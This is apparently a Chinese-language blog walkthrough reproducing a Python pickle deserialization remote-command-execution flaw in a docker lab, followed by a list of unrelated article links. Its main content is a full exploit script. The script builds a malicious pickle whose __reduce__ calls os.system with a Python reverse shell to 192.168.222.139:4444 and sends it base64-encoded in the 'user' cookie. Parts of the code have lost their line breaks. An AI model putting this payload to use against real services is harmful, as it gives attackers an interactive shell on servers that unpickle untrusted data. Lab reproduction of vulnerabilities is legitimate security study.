当前位置: 首页 > ai >正文

新后端漏洞(上)- Python unpickle 造成任意命令执行漏洞

漏洞介绍:

在Python中,反序列化(unpickling)是一种将序列化的对象数据重新转换为Python对象的过程。如果处理不当,这种机制可以成为安全隐患,尤其是在涉及到不安全的数据来源时。最典型的例子是反序列化漏洞,特别是在处理pickle模块时。

复现环境:

在docker环境中进行复现

docker-compose up -d

1、创建docker环境

2、访问http://127.0.0.1:8000,显示Hello {username}!。username是取Cookie变量user,对其进行base64解码+反序列化后还原的对象中的“username”变量,默认为“Guest”,伪代码:pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'

exp内容如下:

#!/usr/bin/env python3
import requests
import pickle
import os
import base64class exp(object):def __reduce__(self):s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.222.139",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""return (os.system, (s,))e = exp()
s = pickle.dumps(e)response = requests.get("http://127.0.0.1:8000/", cookies=dict(user=base64.b64encode(s).decode()))
print(response.content)
3、这里IP为docker环境所在主机的IP,进行反弹shell拿到权限(需要更改反弹shell中的IP)

http://www.xdnf.cn/news/19840.html

相关文章:

  • 惠普HP Color LaserJet Pro MFP M277dw打印有横条维修案例1
  • RoPE位置编码缩放因子的最优解:频率维度与位置敏感度的精妙权衡
  • SpringBoot项目package报错 PKIX path building failed 终极解决方案:Nexus私服证书导入JDK证书库
  • C++对象构造与析构
  • 2.插值法
  • Spring Boot 实现数据库表变更监听的 Redis 消息队列方案
  • 技术方案之Mysql部署架构
  • uni app 的app 端调用tts 进行文字转语音
  • GDAL 下载安装
  • C题目训练【三连击】
  • Vue3 + Ant Design Vue 实现多选下拉组件(支持分组、搜索与标签省略)
  • Ollama大模型 本地部署+使用教程
  • 【FastDDS】Layer DDS之Domain ( 05-Creating a DomainParticipant)
  • lesson53:CSS五种定位方式全解析:从基础到实战应用
  • GEO服务商推荐:移山科技以划时代高精尖技术引领AI搜索优化新纪元
  • C++ 5
  • 使用 Acme.sh 获取和管理免费 SSL 证书
  • 性能测试-jmeter8-脚本录制
  • 网络通信与协议栈 -- TCP协议与编程
  • [Java]PTA:求最大值
  • 财务文档处理优化:基于本地运行的PDF合并解决方案
  • 入行FPGA选择国企、私企还是外企?
  • Ansible高效管理大项目实战技巧
  • 【Python】数据可视化之点线图
  • Android 渐变背景色绘制
  • Git在idea中的实战使用经验(二)
  • 基于SpringBoot的宠物咖啡馆平台
  • 在DDPM(扩散模型)中,反向过程为什么不能和前向一样一步解决,另外实际公式推导时反向过程每一步都能得到一个预测值,为什么还要一步一步的推导?
  • 前端-Vue的生命周期和生命周期的四个阶段
  • 缠论笔线段画线,文华财经期货指标公式,好用的缠论指标源码